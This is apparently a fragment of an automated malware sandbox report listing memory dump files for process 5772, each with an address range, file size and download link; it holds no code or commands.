      • memory/5772-4527-0x0000000005BA0000-0x0000000005C06000-memory.dmp

        Filesize

        408KB

        Download

      • memory/5772-4524-0x0000000005B00000-0x0000000005B22000-memory.dmp

        Filesize

        136KB

        Download

      • memory/5772-4523-0x0000000005D60000-0x000000000638A000-memory.dmp

        Filesize

        6.2MB

        Download

      • memory/5772-4522-0x0000000002FF0000-0x0000000003026000-memory.dmp

        Filesize

        216KB

        Download

      • memory/5772-4538-0x0000000006C80000-0x0000000006C9A000-memory.dmp

        Filesize

        104KB

        Download

      • memory/5772-4534-0x0000000006390000-0x00000000066E7000-memory.dmp

        Filesize

        3.3MB

        Download

      • memory/5772-4536-0x0000000006920000-0x000000000696C000-memory.dmp

        Filesize

        304KB

        Download

      • memory/5772-4535-0x00000000067A0000-0x00000000067BE000-memory.dmp

        Filesize

        120KB

        Download